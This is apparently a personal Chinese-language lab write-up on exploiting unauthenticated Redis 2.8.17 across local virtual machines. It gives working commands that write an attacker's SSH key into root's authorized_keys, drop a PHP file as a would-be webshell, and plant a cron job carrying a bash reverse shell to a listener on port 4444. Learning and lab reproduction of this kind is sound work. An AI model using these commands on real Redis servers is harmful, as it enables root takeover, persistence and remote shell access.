redis未授权访问

0x00 前言

咸鱼了很久(bushi)以后终于开始了新的学习,就我这个乌龟学习+狗熊掰棒子的学法,被时代的洪流淘汰真是指日可待。废话不多说,今天要学的是redis未授权访问。之前vulhub就想学来着但是那个docker环境不知道是我有问题还是他有问题,老起不来,我搜的大家都没问题那就是我有问题吧,反正就是总是遇到最后导致我没有复现成,那就自己搭环境自己搞,这还怕什么。

Redis 未授权访问

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

漏洞危害

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

环境

靶机 ubuntu ip:10.211.55.4
靶机 centos ip:10.211.55.5
攻击机 kali ip:10.211.55.3
首先要在这三个虚拟机都安装redis,这次复现我们选的是redis-2.8.17版本,下载命令是wget http://download.redis.io/releases/redis-2.8.17.tar.gz

下载完以后进行解压安装包:tar xzf redis-2.8.17.tar.gz
进入redis目录:cd redis-2.8.17
编译:make
安装:sudo make install
图片.png
图片.png

编译安装完成之后,进入到src目录里面,把redis-server和redis-cli复制到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了,环境变量,如果嫌sudo输入密码太麻烦,直接su root进到root权限去输入命令)

cp redis-cli /usr/bin
cp redis-server /usr/bin
图片.png

同样上一个目录里redis.conf 我们在开redis服务的时候可能会需要指定配置文件,可以把他拷贝到一个路径比较浅的地方。

cp redis.conf /etc/
图片.png

接下来到src目录下去开启服务

cd src
redis-server /etc/redis.conf

在root权限下开启redis服务对于接下来的漏洞复现和利用也比较方便。

图片.png

以上是对于靶机的安装和配置,对于攻击机来说安装是一样的,只需要切到src目录下尝试连接靶机就好啦。命令是./redis-cli -h 10.211.55.4 -p 6379用info测试一下是不是连接成功,看到很多信息就是没问题啦。
图片.png

0x01 利用公私钥认证获取root权限

ubuntu需要开启ssh服务,默认只安装了ssh客户端,需要手动安装ssh服务端,没安装的可以参考这个ubuntu如何开启ssh服务安装一哈~
然后开启ssh服务
service ssh start
查看一下服务的开启情况 ps -e |grep ssh

图片.png

看到sshd字样说明已经开启。
然后靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录。做完以上的准备之后
现在切到攻击机里,由于我们没有ssh公钥,先生成一个rsa公钥。命令是ssh-keygen -t rsa可以选择保存位置也可以直接默认选择,我这里直接默认了,如果你的保存位置不在这其实也不会受影响,只不过稍后涉及到的公钥的文件名改一下就行,口令默认为空就可以。

接下来切到保存目录把公钥保存成key.txt写到redis保存在靶机上。

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt |redis-cli -h 10.211.55.4 -x set pub
(\n是换行符,为了避免遇到redis写入缓存放在同一行就会使命令失效)

图片.png

登陆到redis服务,然后查看redis备份路径,把它改成ssh公钥的存放目录,然后设置上传公钥的备份文件名字为authorized_keys。(图里打错了,懒得再截图了,我这边已经改过来了)
图片.png

到这里就成功写入ssh公钥到靶机,保存退出用ssh连一下试试。
ssh -i id_rsa(保存公钥的文件名) [email protected]

连接成功,而且拿到的是root权限。

0x03 写入webshell

这个就很容易理解,如果他开着web服务器,我们知道路径就可以写入webshell,不过我这里环境没有,就在一个常见目录写入一个php文件,再从靶机查看验证写入成功。

config set dir /home/
config set dbfilename 1.php
set webshell "\n\n\n\n"
图片.png

到靶机验证一下:



成功写入。

0x04 反弹shell

经测试ubuntu可以写入但是没有办法触发,所以我搞了一个centos来复现这个漏洞。centos的ip是10.211.55.5,然后一开始连接的时候遇到了拒绝的情况,根据提示是因为开启了保护模式,测试的时候再次开启用这个命令redis-server /etc/redis.conf --protected-mode no就好了。
攻击机连接redis,监听端口。

redis连接  ./redis-cli -h 10.211.55.5 -p 6379
写入反弹shell  set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/10.211.55.3/4444 0>&1\n\n"
写入指定目录 config set dir var/spool/cron
写入指定文件 config set dbfilename root
保存 save
监听端口 nc -nvlp 4444
图片.png

1分钟后查看监听端口发现反弹shell拿到权限。


图片.png

你可能感兴趣的:(redis未授权访问)